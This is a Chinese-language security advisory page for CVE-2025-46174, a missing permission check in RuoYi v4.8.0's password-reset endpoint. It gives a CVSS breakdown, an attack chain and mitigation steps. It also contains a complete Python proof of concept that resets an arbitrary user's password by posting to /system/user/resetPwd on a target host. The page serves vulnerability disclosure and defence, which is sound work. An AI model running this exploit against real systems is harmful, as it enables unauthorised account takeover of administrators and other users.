IPBUF安全漏洞报告
English
CVE-2025-46174 CVSS 7.5 高危

CVE-2025-46174: Ruoyi v4.8.0 resetPwd权限绕过漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-46174
漏洞类型
访问控制
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RuoYi

相关标签

访问控制权限绕过RuoYiCVE-2025-46174密码重置高危漏洞JavaSpring Boot

漏洞概述

CVE-2025-46174是若依(RuoYi)管理系统v4.8.0版本中的一个高危安全漏洞。该漏洞属于不正确的访问控制(Incorrect Access Control)类型,具体表现为SysUserController.java文件中的resetPwd方法缺少checkUserDataScope权限检查。攻击者无需任何认证即可利用此漏洞,在未授权的情况下重置系统任意用户的密码。这将导致攻击者可以完全接管用户账户,获取敏感数据,甚至可能横向移动到其他系统。由于该漏洞利用无需用户交互且可通过网络远程触发,因此具有极高的安全风险。CVSS评分7.5分,严重等级为高危,主要影响系统的机密性,可导致敏感信息泄露。该漏洞影响RuoYi v4.8.0版本,建议受影响的用户尽快升级到最新修复版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于RuoYi v4.8.0的SysUserController.java控制器中的resetPwd方法未正确实现权限验证机制。正常情况下,系统应该通过checkUserDataScope方法检查当前登录用户是否有权限操作目标用户的数据范围。然而,由于缺少这一关键的权限检查步骤,任何经过身份验证的用户(甚至未认证的攻击者)都可以通过构造特定的HTTP请求来调用resetPwd接口,重置系统中任意用户的密码。攻击者可以通过发送带有目标用户ID和恶意密码的POST请求到resetPwd端点来实现密码重置。由于系统未验证请求者是否具有修改目标用户密码的权限,攻击者可以绕过正常的权限控制流程。此漏洞允许未经授权的用户修改管理员或其他高权限账户的密码,从而获得对系统的完全控制权。攻击者获取高权限账户后,可以访问敏感数据、修改系统配置、甚至在服务器上执行任意命令。

攻击链分析

STEP 1
步骤1
攻击者识别目标RuoYi v4.8.0系统,发现resetPwd接口端点
STEP 2
步骤2
攻击者构造恶意HTTP POST请求,包含目标用户ID和新密码
STEP 3
步骤3
由于resetPwd方法缺少checkUserDataScope权限检查,系统直接执行密码重置操作
STEP 4
步骤4
目标用户密码被成功重置为攻击者指定的值,攻击者获得目标账户访问权限
STEP 5
步骤5
攻击者使用重置后的密码登录系统,访问敏感数据或执行进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-46174 PoC - Ruoyi v4.8.0 resetPwd Unauthorized Password Reset # Target: RuoYi v4.8.0 with missing checkUserDataScope permission check TARGET_URL = "http://target-host/" # Replace with target URL TARGET_USER_ID = 1 # Target user ID to reset password NEW_PASSWORD = "P@ssw0rd123!" # New password for target user def exploit_resetpwd(): """ Exploit the missing checkUserDataScope permission check in resetPwd method This allows unauthorized password reset of any user in the system """ endpoint = f"{TARGET_URL}system/user/resetPwd" # Payload to reset password for target user payload = { "userId": TARGET_USER_ID, "password": NEW_PASSWORD } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: # Send unauthorized password reset request response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get('code') == 200: print(f"[+] SUCCESS: Password reset for user ID {TARGET_USER_ID}") print(f"[+] New password: {NEW_PASSWORD}") return True else: print(f"[-] FAILED: {result.get('msg')}") return False else: print(f"[-] FAILED: HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-46174 PoC - Ruoyi resetPwd Unauthorized Access") exploit_resetpwd()

影响范围

RuoYi < 4.8.0 (受影响版本)
RuoYi v4.8.0 (确认受影响)

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制对resetPwd接口的网络访问,仅允许受信任的IP地址访问;2)在Web应用防火墙(WAF)上配置规则,监控和阻止异常的密码重置请求;3)定期审计系统日志,检测未经授权的密码修改行为;4)暂时禁用密码重置功能或限制只有管理员才能执行密码重置操作;5)实施IP白名单和请求频率限制,防止暴力破解和自动化攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表